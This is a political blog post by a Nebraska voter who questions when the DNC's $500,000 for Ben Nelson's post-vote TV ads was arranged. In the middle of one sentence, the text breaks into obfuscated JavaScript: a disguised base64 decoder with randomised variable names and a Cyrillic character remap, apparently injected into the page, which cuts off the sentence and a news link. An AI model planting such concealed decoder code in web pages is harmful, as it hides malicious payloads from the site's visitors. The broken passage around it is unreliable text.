Ben Nelson Received $500k From DNC For Post Health Care Vote TV Ads

NOT Run by the Government...by the DNC...what's the difference?

Ain’t it grand?

Nebraska’s Ben Nelson apparently is better at cutting deals than a Persian bizarre rug salesman. In addition to securing “The Cornhusker Kickback” in exchange for his health care vote, it seems Nelson also made sure he obtained some big money to provide himself with political advertising cover. The Democratic National Committee provided $500,000 for Nelson to run a flurry of TV ads in Nebraska to calm down angry constituents.

I am highly suspicious regarding just when the funds were offered / secured. Was it part of the deal brokered in the closed door meeting with Harry Reid and Chuck Schumer to garner Nelson’s vote?

It’s hard to believe the ad campaign was devised after Nelson decided to vote for cloture, considering word of the commercial shoot hit the streets here in Nebraska within days of his Saturday, December 19 announcement in D.C. I can’t cite you a source online for that information, but I can make the statement about “the word on the street” as a first hand witness. At least two people who are political activists in Omaha informed me about the scheduled shooting of the commercials by the end of Christmas week. Those activists informed me they were aware of the commercial shoot, had some information about the location, and there were a couple of groups intending to show up to protest. Whether the original information was a deliberate disinformation campaign or the day and location were switched once someone in the Nelson campaign heard of the protests; the shoot actually occurred a day earlier.

By December 30, the commercials were ready to air and the announcement of the commercial airing during that evening’s Holiday Bowl had hit the function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand-regional/govt-and-politics/article_19bc53c8-f4e8-11de-ab34-001cc4c002e0.html">Lincoln Journal Star. December 19, Nelson announces he will vote for cloture, Christmas weekend the word is out there will be a commercial shot, and the ad is hitting the air by December 30. That seems like a lot of fast footwork in 11 days considering Christmas fell in between. It’s a bit hard to swallow the idea that the ad money on the order of $500,000 was made available so quickly.

News of the ad money has been floating around for months in story after story. Here are just a few:

Huffington Post: DNC Defends Spending 460K 12/30/09

Michelle Malkin: Damage control in 30 seconds: Nelson’s CYA ad 12/30/09

Politico: DNC provided half a million for Nelson air cover 2/1/2010

As one of Nelson’s constituents, a voter, taxpayer, and American citizen, I’m appalled. The half-mil in Nelson ads was paid for by a political party. It’s just further evidence that the political parties have more control over our elected officials than we do.